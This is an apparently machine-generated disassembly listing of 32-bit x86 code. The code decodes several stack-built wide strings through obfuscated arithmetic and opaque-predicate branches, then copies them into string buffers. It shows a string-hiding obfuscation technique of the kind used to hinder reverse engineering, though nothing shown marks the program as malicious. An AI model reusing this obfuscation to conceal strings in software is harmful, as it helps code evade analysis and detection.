push dword [esp + 4]
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [edi + esi*2], 0
mov dword [esp + 0x11c], edi
movaps xmm0, xmmword [0x4739a0]
movups xmmword [esp + 0x390], xmm0
mov dword [esp + 0x3a0], 0xba70990
mov word [esp + 0x3a4], 0x7574
xorps xmm0, xmm0
movups xmmword [esp + 0x3a6], xmm0
xor eax, eax
mov dword [esp + 0x3b7], eax
mov dword [esp + 0x3b3], eax
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov ebp, dword [eax]
xor eax, eax
cmp esi, eax
ja 0x45fdd9
movzx ecx, byte [esp + eax + 0x390]
lea edi, [ebp + 1]
cmp esi, edi
jae 0x45f87f
lea edx, [eax + 0x70decac]
lea ebx, [eax + ecx]
add ebx, 0x70decac
and edx, ecx
add edx, edx
sub ebx, edx
add bl, 0x4c
cmp ebp, eax
ja 0x45fdeb
mov dword [esp], edi
lea edi, [ebp + 0x20]
cmp esi, edi
jae 0x45f8f6
lea edx, [eax - 0x6bdb95e4]
lea ebx, [eax + ecx]
add ebx, 0x94246a1c
and edx, ecx
add edx, edx
sub ebx, edx
add bl, 0x3c
mov edx, ebp
add ebp, esi
mov dword [esp + 4], edx
add edx, 0x2a
cmp ebp, eax
jbe 0x45f93f
cmp esi, edx
jne 0x45f9fe
lea edx, [eax + 0x7fbb1e8]
lea ebx, [eax + ecx]
add ebx, 0x7fbb1e8
and edx, ecx
add edx, edx
sub ebx, edx
add bl, 0xa8
mov edi, 0x2a
jmp 0x45f919
jne 0x45f89b
lea edx, [eax + 0x1529c604]
lea ebx, [eax + ecx]
add ebx, 0x1529c604
and edx, ecx
add edx, edx
sub ebx, edx
add bl, 0xe4
jmp 0x45f8ef
lea edx, [ebp + 2]
cmp esi, edx
jne 0x45f9b3
mov edi, esi
lea edx, [eax + 0x23459f5c]
lea ebx, [eax + ecx]
add ebx, 0x23459f5c
and edx, ecx
add edx, edx
sub ebx, edx
add bl, 0x7c
lea esi, [eax - 0x6202770]
lea edx, [eax + ecx]
add edx, 0xf9dfd890
and esi, ecx
add esi, esi
sub edx, esi
add dl, 0x10
mov byte [esp + eax + 0x390], dl
mov esi, edi
sub eax, edi
inc esi
movzx ecx, byte [esp + eax + 0x38e]
add eax, 0xfffffffe
add ecx, ebp
jmp 0x45fc16
cmp esi, dword [esp]
jne 0x45f9d9
mov edi, esi
lea edx, [eax - 0x5dbfbc8c]
lea ebx, [eax + ecx]
add ebx, 0xa2404374
and edx, ecx
add edx, edx
sub ebx, edx
add bl, 0xd4
lea esi, [eax - 0x2965c6cc]
lea edx, [ecx + eax]
add edx, 0xd69a3934
and esi, ecx
add esi, esi
sub edx, esi
add dl, 0x94
mov byte [esp + eax + 0x390], dl
mov esi, edi
jmp 0x45fa1e
cmp esi, edx
jae 0x45fa27
lea edx, [eax + 0x70decac]
lea ebx, [eax + ecx]
add ebx, 0x70decac
and edx, ecx
add edx, edx
sub ebx, edx
add bl, 0x4c
mov ebp, dword [esp + 4]
mov edi, dword [esp]
lea edx, [ebp + 0x10]
cmp esi, edx
jbe 0x45fab0
lea edx, [eax - 0x51ae9b04]
lea ebx, [eax + ecx]
add ebx, 0xae5164fc
and edx, ecx
add edx, edx
sub ebx, edx
add bl, 0x1c
mov edi, dword [esp]
cmp esi, edi
jne 0x45fb52
lea edx, [eax + 0x5091a870]
lea ebx, [eax + ecx]
add ebx, 0x5091a870
and edx, ecx
add edx, edx
sub ebx, edx
add bl, 0xf0
mov esi, edi
jmp 0x45f8ef
lea edx, [ebp + 3]
cmp esi, edx
jne 0x45fa63
mov dword [esp], esi
lea edi, [eax + 0x5bb504bc]
lea ebx, [eax + ecx]
add ebx, 0x5bb504bc
and edi, ecx
mov dl, 0xdc
jmp 0x45fbe5
lea edx, [ebp + 2]
cmp esi, edx
jne 0x45fa88
lea edx, [eax - 0x4fa3e334]
lea ebx, [eax + ecx]
add ebx, 0xb05c1ccc
and edx, ecx
add edx, edx
sub ebx, edx
add bl, 0x6c
jmp 0x45fa1e
cmp esi, edi
jne 0x45fad5
lea edx, [eax + 0x16178b40]
lea ebx, [eax + ecx]
add ebx, 0x16178b40
and edx, ecx
add edx, edx
sub ebx, edx
add bl, 0x40
mov ebp, dword [esp]
dec eax
jmp 0x45fc18
mov esi, 0x2a
mov ebp, dword [esp + 4]
lea edx, [ebp - 0x23]
cmp edx, 6
mov edi, dword [esp]
ja case.0x45fa3f.37
jmp dword [edx*4 + 0x473d00]
lea edx, [eax - 0x66d86108]
lea ebx, [eax + ecx]
add ebx, 0x99279ef8
and edx, ecx
add edx, edx
sub ebx, edx
add bl, 0x38
jmp 0x45f875
lea edx, [ebp + 4]
cmp esi, edx
jne 0x45fafd
lea edx, [eax + 0x69d0de14]
lea ebx, [eax + ecx]
add ebx, 0x69d0de14
and edx, ecx
add edx, edx
sub ebx, edx
add bl, 0x74
jmp 0x45fa21
lea edx, [ebp + 4]
cmp esi, edx
jne 0x45fb2a
lea edx, [eax - 0x2550572c]
lea ebx, [eax + ecx]
add ebx, 0xdaafa8d4
and edx, ecx
add edx, edx
sub ebx, edx
add bl, 0x34
jmp 0x45fc0f
cmp esi, edi
jne 0x45fb7c
lea edx, [eax - 0x4392c1ac]
lea ebx, [eax + ecx]
add ebx, 0xbc6d3e54
and edx, ecx
add edx, edx
sub ebx, edx
add bl, 0xb4
jmp 0x45f919
mov ebp, dword [esp + 4]
lea edx, [ebp + 9]
cmp esi, edx
jne 0x45fba6
mov dword [esp], esi
lea edi, [eax + 0x324f3df0]
lea ebx, [eax + ecx]
add ebx, 0x324f3df0
and edi, ecx
jmp 0x45fbe3
lea edx, [ebp + 7]
cmp esi, edx
jne 0x45f814
mov dword [esp], edi
mov edi, esi
lea edx, [eax - 0x79f76f3c]
lea ebx, [eax + ecx]
add ebx, 0x860890c4
and edx, ecx
add edx, edx
sub ebx, edx
add bl, 0xa4
jmp 0x45f919
lea edx, [ebp + 3]
cmp esi, edx
jne 0x45f842
lea edx, [eax - 0x17347dd4]
lea ebx, [eax + ecx]
add ebx, 0xe8cb822c
and edx, ecx
add edx, edx
sub ebx, edx
add bl, 0xcc
jmp 0x45fc11
lea edi, [ebp + 3]
cmp esi, edi
jne 0x45fc8f
lea edx, [eax - 0x76fef230]
lea ebx, [eax + ecx]
add ebx, 0x89010dd0
and edx, ecx
add edx, edx
sub ebx, edx
add bl, 0x50
mov esi, edi
jmp 0x45fc0f
lea edi, [ebp + 2]
cmp esi, edi
jne 0x45fcb7
lea edx, [eax - 0x275b0efc]
lea ebx, [eax + ecx]
add ebx, 0xd8a4f104
and edx, ecx
add edx, edx
sub ebx, edx
add bl, 0xe4
mov esi, edi
jmp 0x45fa21
lea edx, [ebp + 5]
cmp esi, edx
jne 0x45fd0f
lea edx, [eax + 0x4e86f0a0]
lea ebx, [eax + ecx]
add ebx, 0x4e86f0a0
and edx, ecx
add edx, edx
sub ebx, edx
add bl, 0xa0
jmp 0x45fc11
lea edi, [eax + 0x6ed412f0]
lea ebx, [eax + ecx]
add ebx, 0x6ed412f0
and edi, ecx
mov dword [esp], 0x2a
mov dl, 0x70
add edi, edi
sub ebx, edi
add bl, dl
lea esi, [eax - 0x1b49ed74]
lea edx, [ecx + eax]
add edx, 0xe4b6128c
and esi, ecx
add esi, esi
sub edx, esi
add dl, bl
add dl, 0x2c
mov byte [esp + eax + 0x390], dl
mov esi, dword [esp]
add esi, ebp
movzx ecx, bl
not ecx
add eax, ecx
inc eax
cmp eax, 0x2b
jb 0x45f7e1
jmp 0x45fde2
lea edx, [eax + 0x7cefec48]
lea ebx, [eax + ecx]
add ebx, 0x7cefec48
and edx, ecx
add edx, edx
sub ebx, edx
add bl, 8
mov ebp, 0x26
mov esi, 0x2a
jmp 0x45fa21
lea esi, [eax + 0x448086e8]
lea ebx, [eax + ecx]
add ebx, 0x448086e8
and esi, ecx
mov edi, 0x2a
mov dl, 0xa8
jmp 0x45fcd5
lea edx, [eax + 0x2848d438]
lea ebx, [eax + ecx]
add ebx, 0x2848d438
and edx, ecx
add edx, edx
sub ebx, edx
add bl, 0x78
mov ebp, 0x29
mov esi, 0x2a
jmp 0x45f8ef
lea edx, [ebp + 4]
cmp esi, edx
jne 0x45fd35
lea edi, [eax - 0x68e318d8]
lea ebx, [eax + ecx]
add ebx, 0x971ce728
and edi, ecx
mov esi, edx
mov dl, 0xe8
mov dword [esp], esi
jmp 0x45fbe5
lea edi, [ebp + 3]
cmp esi, edi
jne 0x45f989
lea esi, [eax + 0x11145664]
lea ebx, [eax + ecx]
add ebx, 0x11145664
and esi, ecx
mov dl, 0x44
add esi, esi
sub ebx, esi
add bl, dl
lea edx, [eax - 0xd2e141c]
lea esi, [ecx + eax]
add esi, 0xf2d1ebe4
and edx, ecx
add edx, edx
sub esi, edx
mov edx, esi
add dl, 0xc4
mov byte [esp + eax + 0x390], dl
movzx edx, dl
not ebp
add ebp, eax
sub ebp, edx
mov eax, ebp
mov ebp, dword [esp]
jmp 0x45f8c0
lea edx, [ebp + 2]
cmp esi, edx
jne 0x45fd8b
mov edi, esi
lea edx, [eax + 0x6abea350]
lea ebx, [eax + ecx]
add ebx, 0x6abea350
and edx, ecx
add edx, edx
sub ebx, edx
add bl, 0xd0
jmp 0x45f8c0
lea edx, [ebp + 6]
cmp esi, edx
jne 0x45fd59
lea edx, [eax - 0x4cab6628]
lea ebx, [eax + ecx]
add ebx, 0xb35499d8
and edx, ecx
add edx, edx
sub ebx, edx
add bl, 0x18
jmp 0x45fa1e
cmp ebp, 1
ja 0x45fd6a
mov byte [esp + eax + 0x390], bl
jmp 0x45fc18
mov edi, esi
lea edx, [eax - 0x3073b378]
lea ebx, [eax + ecx]
add ebx, 0xcf8c4c88
and edx, ecx
add edx, edx
sub ebx, edx
add bl, bl
add bl, 0x90
jmp 0x45f919
lea esi, [ebp + 0x200]
lea edx, [ebp + 0x213]
cmp esi, edx
jb 0x45fdbd
add ebp, 0x210
lea ebx, [eax + ecx]
add ebx, 0xaa3bf55c
add eax, 0xaa3bf55c
and eax, ecx
add eax, eax
sub ebx, eax
add bl, 0x7c
jmp 0x45f7df
lea ebx, [eax + ecx]
add ebx, 0x9c201c04
add eax, 0x9c201c04
and eax, ecx
add eax, eax
sub ebx, eax
add bl, 0xe4
jmp 0x45f7d1
lea edi, [esp + 0x68f3cc]
jmp 0x45fdf2
lea edi, [esp + 0x390]
jmp 0x45fdf2
lea edi, [esp + 0x15b0720]
mov dword [esp + 0x134], 0
mov dword [esp + 0x148], 7
mov word [esp + 0x134], 0
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
add esp, 4
mov esi, eax
cmp eax, 7
jbe 0x45fe4a
cmp esi, 0x7fffffff
jae 0x463ef6
mov ebp, esi
or ebp, 7
cmp ebp, 0x7ffffffe
mov dword [esp], edi
jbe 0x45fe73
mov ebp, 0x7ffffffe
mov eax, 0xfffffffe
jmp 0x45fe8c
mov dword [esp + 0x144], esi
mov eax, esi
add eax, esi
push eax
push edi
lea eax, [esp + 0x13c]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [esp + esi*2 + 0x134], 0
jmp 0x45fed3
cmp ebp, 0xb
mov ebx, 0xa
cmovae ebx, ebp
lea eax, [ebx + ebx]
add eax, 2
cmp ebx, 0x7ff
jb 0x45fe9b
push eax
call fcn.0040130b
add esp, 4
mov edi, eax
mov ebx, ebp
jmp 0x45fea6
push eax
call fcn.004716fe
add esp, 4
mov edi, eax
mov dword [esp + 0x144], esi
mov dword [esp + 0x148], ebx
mov eax, esi
add eax, esi
push eax
push dword [esp + 4]
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [edi + esi*2], 0
mov dword [esp + 0x134], edi
movaps xmm0, xmmword [0x4739b0]
movups xmmword [esp + 0x528], xmm0
mov dword [esp + 0x538], 0x131011a9
xorps xmm0, xmm0
movups xmmword [esp + 0x53c], xmm0
movups xmmword [esp + 0x548], xmm0
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov ecx, dword [eax]
xor eax, eax
cmp esi, eax
ja 0x46013b
mov dl, byte [esp + eax + 0x528]
movzx edi, dl
lea ebx, [ecx + 1]
cmp esi, ebx
jae 0x45ff6d
cmp ecx, eax
ja 0x46014d
lea ebp, [esi + ecx]
cmp ebp, eax
jbe 0x45ffa2
lea edx, [ecx + 8]
cmp esi, edx
je 0x46002c
lea edx, [ecx + 6]
cmp esi, edx
jne 0x460034
lea edx, [eax + 0x1f59497c]
lea ebx, [eax + edi]
add ebx, 0x1f59497c
and edx, edi
add edx, edx
sub ebx, edx
add bl, 0x9c
mov esi, ebp
jmp 0x4600a5
je 0x45ffff
lea edx, [ecx + 2]
cmp esi, edx
je 0x45ffa7
lea edx, [ecx + 3]
cmp esi, edx
jne 0x460080
lea edx, [eax + 0x11e16903]
lea ebx, [eax + edi]
add ebx, 0x11e16903
and edx, edi
add edx, edx
sub ebx, edx
add bl, 0xeb
jmp 0x4600c6
cmp ebp, 0x28
jne 0x460009
lea ebp, [eax + 0xd77e079]
lea edx, [edi + eax]
add edx, 0xd77e079
and ebp, edi
add ebp, ebp
sub edx, ebp
add dl, 0xb1
mov byte [esp + eax + 0x528], dl
movzx edx, dl
not ecx
add ecx, eax
sub ecx, edx
mov eax, ecx
lea edx, [eax - 0x296f13dc]
lea ecx, [eax + edi]
add ecx, 0xd690ec24
and edx, edi
add edx, edx
sub ecx, edx
add cl, 4
mov byte [esp + eax + 0x528], cl
sub eax, esi
inc esi
mov dl, byte [esp + eax + 0x526]
add eax, 0xfffffffe
mov ecx, ebx
movzx edx, dl
add edx, ecx
jmp 0x4600cb
cmp esi, ebx
jne 0x460059
lea edx, [eax - 0x16ec4e33]
lea ecx, [eax + edi]
add ecx, 0xe913b1cd
and edx, edi
add edx, edx
sub ecx, edx
add cl, 0x65
mov byte [esp + eax + 0x528], cl
dec eax
mov ecx, ebx
jmp 0x4600cd
lea edx, [ecx + 5]
cmp esi, edx
jne 0x4600d9
lea edx, [eax + 0x43bd7828]
lea ebx, [eax + edi]
add ebx, 0x43bd7828
and edx, edi
add edx, edx
sub ebx, edx
add bl, 0xe8
jmp 0x4600c6
lea edx, [ecx + 3]
cmp esi, edx
jne 0x4600eb
lea edx, [eax - 0x3a0dc393]
lea ebx, [eax + edi]
add ebx, 0xc5f23c6d
and edx, edi
add edx, edx
sub ebx, edx
add bl, 5
mov esi, ebp
jmp 0x4600c6
lea edx, [ecx + 6]
cmp esi, edx
jne 0x45ff29
lea edx, [eax + 0x364597af]
lea ebx, [eax + edi]
add ebx, 0x364597af
and edx, edi
add edx, edx
sub ebx, edx
add bl, 0x37
add esi, ecx
lea ebp, [eax + 0x7b45c923]
lea edx, [edi + eax]
add edx, 0x7b45c923
and ebp, edi
add ebp, ebp
sub edx, ebp
add dl, bl
add dl, 0xb
mov byte [esp + eax + 0x528], dl
movzx edx, bl
not edx
add eax, edx
inc eax
cmp eax, 0x30
jb 0x45ff10
jmp 0x460144
lea edx, [ecx + 4]
mov ebx, ecx
cmp esi, edx
je 0x45ffd1
jmp 0x45ff00
lea edx, [ecx + 6]
cmp esi, edx
je 0x45ffa7
lea edx, [ecx + 5]
cmp esi, edx
jne 0x460104
mov ebx, ecx
jmp 0x45ffd1
lea edx, [ecx + 2]
cmp esi, edx
je 0x45ffa7
lea edx, [ecx + 7]
cmp esi, edx
je 0x46000d
lea ebx, [eax - 0x36e6f455]
lea edx, [eax + edi]
add edx, 0xc9190bab
and ebx, edi
add ebx, ebx
sub edx, ebx
add dl, 0x53
mov byte [esp + eax + 0x528], dl
jmp 0x4600cd
lea edi, [esp + 0x16ce7b7]
jmp 0x460154
lea edi, [esp + 0x528]
jmp 0x460154
lea edi, [esp + 0x153dc0c]
mov dword [esp + 0x14c], 0
mov dword [esp + 0x160], 7
mov word [esp + 0x14c], 0
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
add esp, 4
mov esi, eax
cmp eax, 7
jbe 0x4601ac
cmp esi, 0x7fffffff
jae 0x463ef6
mov ebp, esi
or ebp, 7
cmp ebp, 0x7ffffffe
mov dword [esp], edi
jbe 0x4601d5
mov ebp, 0x7ffffffe
mov eax, 0xfffffffe
jmp 0x4601ee
mov dword [esp + 0x15c], esi
mov eax, esi
add eax, esi
push eax
push edi
lea eax, [esp + 0x154]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [esp + esi*2 + 0x14c], 0
jmp 0x460235
cmp ebp, 0xb
mov ebx, 0xa
cmovae ebx, ebp
lea eax, [ebx + ebx]
add eax, 2
cmp ebx, 0x7ff
jb 0x4601fd
push eax
call fcn.0040130b
add esp, 4
mov edi, eax
mov ebx, ebp
jmp 0x460208
push eax
call fcn.004716fe
add esp, 4
mov edi, eax
mov dword [esp + 0x15c], esi
mov dword [esp + 0x160], ebx
mov eax, esi
add eax, esi
push eax
push dword [esp + 4]
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [edi + esi*2], 0
mov dword [esp + 0x14c], edi
movaps xmm0, xmmword [0x4739c0]
movups xmmword [esp + 0x408], xmm0
mov dword [esp + 0x418], 0x3980169
mov dword [esp + 0x41c], 0xf0c0d6d
xorps xmm0, xmm0
movups xmmword [esp + 0x420], xmm0
mov dword [esp + 0x42f], 0
call fcn.0046d640
mov ebx, dword [eax]
call fcn.0046d646
mov esi, dword [eax]
xor eax, eax
cmp ebx, eax
ja 0x46051c
mov dl, byte [esp + eax + 0x408]
movzx ebp, dl
lea ecx, [esi + 1]
cmp ebx, ecx
jae 0x4602fa
cmp esi, eax
ja 0x46052e
lea edi, [ebx + esi]
cmp edi, eax
jbe 0x460367
mov dword [esp], edi
lea edi, [esi + 0x2a]
mov edx, ebx
cmp ebx, edi
mov edi, 0x2a
cmove edx, edi
cmovne ecx, esi
je 0x46039c
lea edi, [esi + 8]
cmp ebx, edi
je 0x46039c
lea ecx, [esi + 4]
cmp ebx, ecx
jne 0x4603d0
lea ecx, [eax - 0x61c2129e]
lea edx, [eax + ebp]
add edx, 0x9e3ded62
and ecx, ebp
add ecx, ecx
sub edx, ecx
add dl, 0x52
jmp 0x460435
je 0x46035d
lea edi, [esi + 3]
cmp ebx, edi
jne 0x4603a6
lea edi, [eax - 0x1338a8bf]
lea edx, [eax + ebp]
add edx, 0xecc75741
and edi, ebp
add edi, edi
sub edx, edi
add dl, 0x39
mov byte [esp + eax + 0x408], dl
movzx edx, dl
not esi
add eax, esi
sub eax, edx
mov esi, ecx
lea edx, [eax + 0x42bad944]
lea ecx, [eax + ebp]
add ecx, 0x42bad944
and edx, ebp
add edx, edx
sub ecx, edx
add cl, 0x24
mov byte [esp + eax + 0x408], cl
sub eax, ebx
inc ebx
mov dl, byte [esp + eax + 0x406]
add eax, 0xfffffffe
movzx ecx, dl
add ecx, esi
jmp 0x46043d
cmp ebx, ecx
jne 0x46038e
lea esi, [eax - 0x6b06b0cb]
lea edx, [eax + ebp]
add edx, 0x94f94f35
and esi, ebp
add esi, esi
sub edx, esi
add dl, 0x8d
mov byte [esp + eax + 0x408], dl
mov edx, ebx
jmp 0x46039c
mov dword [esp], edi
lea edi, [esi + 2]
cmp ebx, edi
jne 0x4603f5
mov edx, ebx
mov ecx, esi
dec eax
mov ebx, edx
mov esi, ecx
jmp 0x46043f
lea edi, [esi + 5]
cmp ebx, edi
jne 0x46044e
lea ecx, [eax + 0x5d5d9a27]
lea edx, [eax + ebp]
add edx, 0x5d5d9a27
and ecx, ebp
add ecx, ecx
sub edx, ecx
add dl, 0xef
add ebx, esi
mov dword [esp], ebx
jmp 0x460414
lea ecx, [esi + 0x20]
cmp ebx, ecx
jne 0x46045e
lea ecx, [eax + 0x4a24f168]
lea edx, [eax + ebp]
add edx, 0x4a24f168
and ecx, ebp
add ecx, ecx
sub edx, ecx
add dl, 0x28
jmp 0x460438
lea edi, [esi + 3]
cmp ebx, edi
jne 0x46046e
lea ecx, [eax + 0x2aa20acf]
lea edx, [eax + ebp]
add edx, 0x2aa20acf
and ecx, ebp
add ecx, ecx
sub edx, ecx
add dl, 0x57
lea edi, [eax + 0x40e0533b]
lea ecx, [eax + ebp]
add ecx, 0x40e0533b
and edi, ebp
add edi, edi
sub ecx, edi
add cl, dl
add cl, 0x63
mov byte [esp + eax + 0x408], cl
mov ebx, dword [esp]
movzx ecx, dl
not ecx
add eax, ecx
inc eax
cmp eax, 0x2b
jb 0x460280
jmp 0x460525
lea edi, [esi + 2]
cmp ebx, edi
jne 0x460299
jmp 0x46036b
lea ecx, [esi + 9]
cmp ebx, ecx
je 0x460331
jmp 0x460270
lea edi, [esi + 5]
cmp ebx, edi
jne 0x46048f
lea ecx, [eax - 0x2976f12b]
lea edx, [eax + ebp]
add edx, 0xd6890ed5
and ecx, ebp
add ecx, ecx
sub edx, ecx
add dl, 0x2d
jmp 0x460435
mov dword [esp + 4], edi
lea edi, [esi + 7]
cmp ebx, edi
je 0x460307
lea edi, [esi + 4]
cmp ebx, edi
je 0x46035d
cmp ebx, 0xf
ja 0x4604ce
cmp ebx, dword [esp + 4]
jbe 0x4604ed
lea edx, [eax - 0x78005b0a]
lea ecx, [eax + ebp]
add ecx, 0x87ffa4f6
and edx, ebp
add edx, edx
sub ecx, edx
add cl, 0x46
jmp 0x460510
lea edi, [eax - 0x15132ec8]
lea ecx, [eax + ebp]
add ecx, 0xeaecd138
and edi, ebp
add edi, edi
sub ecx, edi
add dl, cl
add dl, 0x78
jmp 0x460414
lea edx, [esi + 9]
cmp ebx, edx
je 0x46036b
lea edx, [eax + 0x55f38203]
lea ecx, [eax + ebp]
add ecx, 0x55f38203
and edx, ebp
add edx, edx
sub ecx, edx
add cl, 0xeb
mov byte [esp + eax + 0x408], cl
jmp 0x46043f
lea edi, [esp + 0x8ee00f]
jmp 0x460535
lea edi, [esp + 0x408]
jmp 0x460535
lea edi, [esp + 0x15b5e0c]
mov dword [esp + 0x164], 0
mov dword [esp + 0x178], 7
mov word [esp + 0x164], 0
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
add esp, 4
mov esi, eax
cmp eax, 7
jbe 0x46058d
cmp esi, 0x7fffffff
jae 0x463ef6
mov ebp, esi
or ebp, 7
cmp ebp, 0x7ffffffe
mov dword [esp], edi
jbe 0x4605b6
mov ebp, 0x7ffffffe
mov eax, 0xfffffffe
jmp 0x4605cf
mov dword [esp + 0x174], esi
mov eax, esi
add eax, esi
push eax
push edi
lea eax, [esp + 0x16c]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [esp + esi*2 + 0x164], 0
jmp 0x460616
cmp ebp, 0xb
mov ebx, 0xa
cmovae ebx, ebp
lea eax, [ebx + ebx]
add eax, 2
cmp ebx, 0x7ff
jb 0x4605de
push eax
call fcn.0040130b
add esp, 4
mov edi, eax
mov ebx, ebp
jmp 0x4605e9
push eax
call fcn.004716fe
add esp, 4
mov edi, eax
mov dword [esp + 0x174], esi
mov dword [esp + 0x178], ebx
mov eax, esi
add eax, esi
push eax
push dword [esp + 4]
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [edi + esi*2], 0
mov dword [esp + 0x164], edi
movaps xmm0, xmmword [0x4739d0]
movups xmmword [esp + 0x10], xmm0
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov edi, dword [eax]
xor eax, eax
cmp esi, eax
ja 0x46081f
mov cl, byte [esp + eax + 0x10]
movzx edx, cl
lea ebx, [edi + 1]
cmp esi, ebx
jae 0x46068a
cmp edi, eax
ja 0x46082e
lea ebp, [esi + edi]
cmp ebp, eax
jbe 0x4606ef
lea ecx, [edi + 0xa]
cmp esi, ecx
je 0x4606f3
lea ecx, [edi + 5]
cmp esi, ecx
jne 0x460622
lea ecx, [eax + 0x16bb6268]
lea ebx, [eax + edx]
add ebx, 0x16bb6268
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x28
jmp 0x46075e
je 0x4606e6
lea ecx, [edi + 3]
cmp esi, ecx
jne 0x46071f
lea ebp, [eax + 0x3aab59e1]
lea ecx, [eax + edx]
add ecx, 0x3aab59e1
and ebp, edx
add ebp, ebp
sub ecx, ebp
add cl, 0xd9
mov byte [esp + eax + 0x10], cl
movzx ecx, cl
not edi
add edi, eax
sub edi, ecx
mov eax, edi
mov edi, ebx
lea ebx, [eax - 0x51f0f43c]
lea ecx, [eax + edx]
add ecx, 0xae0f0bc4
and ebx, edx
add ebx, ebx
sub ecx, ebx
add cl, 0xa4
mov byte [esp + eax + 0x10], cl
sub eax, esi
inc esi
mov cl, byte [esp + eax + 0xe]
add eax, 0xfffffffe
movzx ecx, cl
add ecx, edi
add eax, ecx
jmp 0x460769
cmp esi, ebx
jne 0x460714
lea edi, [eax + 0x6d1c9255]
lea ecx, [eax + edx]
add ecx, 0x6d1c9255
and edi, edx
add edi, edi
sub ecx, edi
add cl, 0xad
mov byte [esp + eax + 0x10], cl
dec eax
mov edi, ebx
jmp 0x460769
lea ecx, [edi + 3]
cmp esi, ecx
jne 0x460778
mov ebx, edi
jmp 0x46070f
lea ecx, [edi + 5]
cmp esi, ecx
jne 0x460799
lea ecx, [eax - 0x23eff779]
lea ebx, [eax + edx]
add ebx, 0xdc100887
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x4f
lea ebp, [eax + 0x53e3f61b]
lea ecx, [eax + edx]
add ecx, 0x53e3f61b
and ebp, edx
add ebp, ebp
sub ecx, ebp
add cl, bl
add cl, 0x43
mov byte [esp + eax + 0x10], cl
add esi, edi
mov ebp, esi
movzx ecx, bl
not ecx
add eax, ecx
mov esi, ebp
inc eax
cmp eax, 0x10
jb 0x460632
jmp 0x460828
lea ebx, [edi + 2]
cmp esi, ebx
jne 0x4607a9
lea ecx, [eax + 0xa655f5]
lea ebx, [eax + edx]
add ebx, 0xa655f5
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0x4d
jmp 0x460760
lea ecx, [edi + 9]
cmp esi, ecx
jne 0x460648
jmp 0x4606f3
lea ebx, [edi + 6]
cmp esi, ebx
je 0x4606c0
cmp esi, ecx
jbe 0x4607d6
lea ecx, [eax - 0xa11054a]
lea ebx, [eax + edx]
add ebx, 0xf5eefab6
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 6
mov byte [esp + eax + 0x10], bl
jmp 0x460769
lea ecx, [edi + 4]
cmp esi, ecx
jne 0x4607fa
lea ecx, [eax + 0x77d3ed94]
lea ebx, [eax + edx]
add ebx, 0x77d3ed94
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xf4
jmp 0x460760
lea ecx, [edi + 5]
cmp esi, ecx
je 0x46071b
lea ecx, [eax + 0x7363b1e3]
lea ebx, [eax + edx]
add ebx, 0x7363b1e3
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xcb
jmp 0x4607d0
lea edi, [esp + 0x9f3677]
jmp 0x460835
lea edi, [esp + 0x10]
jmp 0x460835
lea edi, [esp + 0x17b8494]
mov dword [esp + 0x17c], 0
mov dword [esp + 0x190], 7
mov word [esp + 0x17c], 0
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
add esp, 4
mov esi, eax
cmp eax, 7
jbe 0x46088d
cmp esi, 0x7fffffff
jae 0x463ef6
mov ebp, esi
or ebp, 7
cmp ebp, 0x7ffffffe
mov dword [esp], edi
jbe 0x4608b6
mov ebp, 0x7ffffffe
mov eax, 0xfffffffe
jmp 0x4608cf
mov dword [esp + 0x18c], esi
mov eax, esi
add eax, esi
push eax
push edi
lea eax, [esp + 0x184]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [esp + esi*2 + 0x17c], 0
jmp 0x460916
cmp ebp, 0xb
mov ebx, 0xa
cmovae ebx, ebp
lea eax, [ebx + ebx]
add eax, 2
cmp ebx, 0x7ff
jb 0x4608de
push eax
call fcn.0040130b
add esp, 4
mov edi, eax
mov ebx, ebp
jmp 0x4608e9
push eax
call fcn.004716fe
add esp, 4
mov edi, eax
mov dword [esp + 0x18c], esi
mov dword [esp + 0x190], ebx
mov eax, esi
add eax, esi
push eax
push dword [esp + 4]
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov word [edi + esi*2], 0
mov dword [esp + 0x17c], edi
movaps xmm0, xmmword [0x4739e0]
movups xmmword [esp + 0x314], xmm0
movaps xmm0, xmmword [0x4739f0]
movups xmmword [esp + 0x324], xmm0
xor eax, eax
mov dword [esp + 0x335], eax
mov dword [esp + 0x331], eax
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov edi, dword [eax]
xor eax, eax
cmp esi, eax
ja 0x460bac
mov bl, byte [esp + eax + 0x314]
movzx edx, bl
lea ecx, [edi + 1]
cmp esi, ecx
jae 0x4609a5
cmp edi, eax
ja 0x460bbe
lea ebp, [esi + edi]
cmp ebp, eax
jbe 0x460a16
cmp esi, ecx
jne 0x460a40
lea ecx, [eax + 0x711b35e4]
lea ebx, [eax + edx]
add ebx, 0x711b35e4
and ecx, edx
add ecx, ecx
sub ebx, ecx
add bl, 0xc4
jmp 0x460ac4
je 0x460a0a
lea ebp, [edi + 2]
cmp esi, ebp
jne 0x460aa1
lea ebp, [eax + 0x4dd9196f]
lea ebx, [eax + edx]
add ebx, 0x4dd9196f
and ebp, edx
add ebp, ebp
sub ebx, ebp
add bl, 0xf7
mov byte [esp + eax + 0x314], bl
movzx ebx, bl
not edi
add edi, eax
sub edi, ebx
mov eax, edi
mov edi, ecx
lea ebx, [eax - 0x58e6aa84]
lea ecx, [eax + edx]
add ecx, 0xa719557c
and ebx, edx
